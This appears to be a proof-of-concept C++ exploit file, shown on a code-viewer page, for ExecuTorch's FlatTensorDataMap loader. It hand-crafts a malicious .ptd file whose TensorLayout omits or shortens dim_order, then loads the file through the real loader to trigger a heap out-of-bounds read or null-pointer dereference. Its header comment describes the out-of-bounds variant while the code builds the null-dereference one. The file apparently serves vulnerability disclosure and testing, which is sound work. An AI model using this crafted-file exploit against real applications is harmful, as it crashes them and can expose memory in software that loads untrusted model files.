File size: 5,033 Bytes
ee60336 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 | // End-to-end PoC — crafts a malicious ExecuTorch .ptd and loads it through the REAL
// FlatTensorDataMap loader, triggering the heap OOB read in TensorLayout::create.
//
// The malicious .ptd has a NamedData "w" whose TensorLayout sets:
// sizes = [1,1,1,1] (dim = 4; all small positive so calculate_nbytes passes)
// dim_order = [0] (length 1)
// create_tensor_layout (flat_tensor_data_map.cpp:118-123) builds the dim_order Span with
// length dim(=4) over the 1-element dim_order buffer -> the guard at tensor_layout.cpp:54
// is a no-op -> OOB read at tensor_layout.cpp:59.
//
// The .ptd byte layout replicates extension/flat_tensor/serialize/serialize.py exactly
// (_FLATBUFFER_ALIGNMENT=16, segment_alignment=128, version=0, _insert_flatbuffer_header).
#include <flatbuffers/flatbuffers.h>
#include <executorch/extension/flat_tensor/serialize/flat_tensor_generated.h>
#include <executorch/extension/data_loader/file_data_loader.h>
#include <executorch/extension/flat_tensor/flat_tensor_data_map.h>
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <vector>
using executorch::extension::FileDataLoader;
using executorch::extension::FlatTensorDataMap;
static uint64_t aligned_size(uint64_t n, uint64_t a) { return ((n + a - 1) / a) * a; }
static void put_u32(std::string& s, size_t off, uint32_t v) { std::memcpy(&s[off], &v, 4); }
static void append_u32(std::string& s, uint32_t v) { s.append(reinterpret_cast<char*>(&v), 4); }
static void append_u64(std::string& s, uint64_t v) { s.append(reinterpret_cast<char*>(&v), 8); }
int main(int argc, char** argv) {
const char* path = argc > 1 ? argv[1] : "evil.ptd";
// 1. Build the FlatTensor flatbuffer with the malicious TensorLayout.
flatbuffers::FlatBufferBuilder fbb;
std::vector<int32_t> sizes = {1, 1, 1, 1}; // dim = 4 (present, small positive)
// NULL-DEREF variant: omit dim_order entirely. flat_tensor.fbs marks dim_order optional
// (not (required)), so tensor_layout->dim_order() returns nullptr, and
// create_tensor_layout (flat_tensor_data_map.cpp:120) dereferences it: ->data() on null.
auto layout = flat_tensor_flatbuffer::CreateTensorLayoutDirect(
fbb, executorch_flatbuffer::ScalarType_FLOAT, &sizes, /*dim_order=*/nullptr);
auto named = flat_tensor_flatbuffer::CreateNamedDataDirect(fbb, "w", /*segment_index=*/0, layout);
std::vector<flatbuffers::Offset<flat_tensor_flatbuffer::NamedData>> nds = {named};
std::vector<flatbuffers::Offset<flat_tensor_flatbuffer::DataSegment>> segs = {
flat_tensor_flatbuffer::CreateDataSegment(fbb, /*offset=*/0, /*size=*/0)};
auto root = flat_tensor_flatbuffer::CreateFlatTensorDirect(fbb, /*version=*/0, &segs, &nds);
flat_tensor_flatbuffer::FinishFlatTensorBuffer(fbb, root);
std::string fb(reinterpret_cast<const char*>(fbb.GetBufferPointer()), fbb.GetSize());
// 2. Build + insert the FlatTensorHeader (serialize.py layout).
const uint64_t EXPECTED_LENGTH = 40;
const uint64_t padded_header_length = aligned_size(EXPECTED_LENGTH, 16); // 48
const uint64_t segment_base_offset =
aligned_size(fb.size() + padded_header_length, 128);
std::string header; // FlatTensorHeader::to_bytes()
header.append("FH01", 4);
append_u32(header, (uint32_t)EXPECTED_LENGTH);
append_u64(header, padded_header_length); // flatbuffer_offset
append_u64(header, (uint64_t)fb.size()); // flatbuffer_size
append_u64(header, segment_base_offset); // segment_base_offset
append_u64(header, 0); // segment_data_size
header.resize(padded_header_length, '\0'); // pad to 48
// _insert_flatbuffer_header: bump root offset, keep magic, insert header, then tail.
uint32_t root_off;
std::memcpy(&root_off, fb.data(), 4);
std::string ptd;
append_u32(ptd, root_off + (uint32_t)padded_header_length); // new root offset
ptd.append(fb, 4, 4); // "FT01" identifier
ptd.append(header); // padded header
ptd.append(fb, 8, fb.size() - 8); // remainder of flatbuffer
ptd.resize(segment_base_offset, '\0'); // pad to segment_base_offset
FILE* f = std::fopen(path, "wb");
std::fwrite(ptd.data(), 1, ptd.size(), f);
std::fclose(f);
fprintf(stderr, "[poc] wrote %s (%zu bytes)\n", path, ptd.size());
// 3. Load it through the REAL loader -> triggers the OOB read.
auto loader = FileDataLoader::from(path);
if (!loader.ok()) { fprintf(stderr, "[poc] loader open failed\n"); return 2; }
auto map = FlatTensorDataMap::load(&loader.get());
if (!map.ok()) {
fprintf(stderr, "[poc] FlatTensorDataMap::load failed err=%u\n",
(unsigned)map.error());
return 3;
}
fprintf(stderr, "[poc] calling get_tensor_layout(\"w\") ...\n");
auto tl = map->get_tensor_layout(executorch::aten::string_view{"w", 1});
fprintf(stderr, "[poc] NO CRASH (unexpected): ok=%d\n", tl.ok());
return 0;
}
|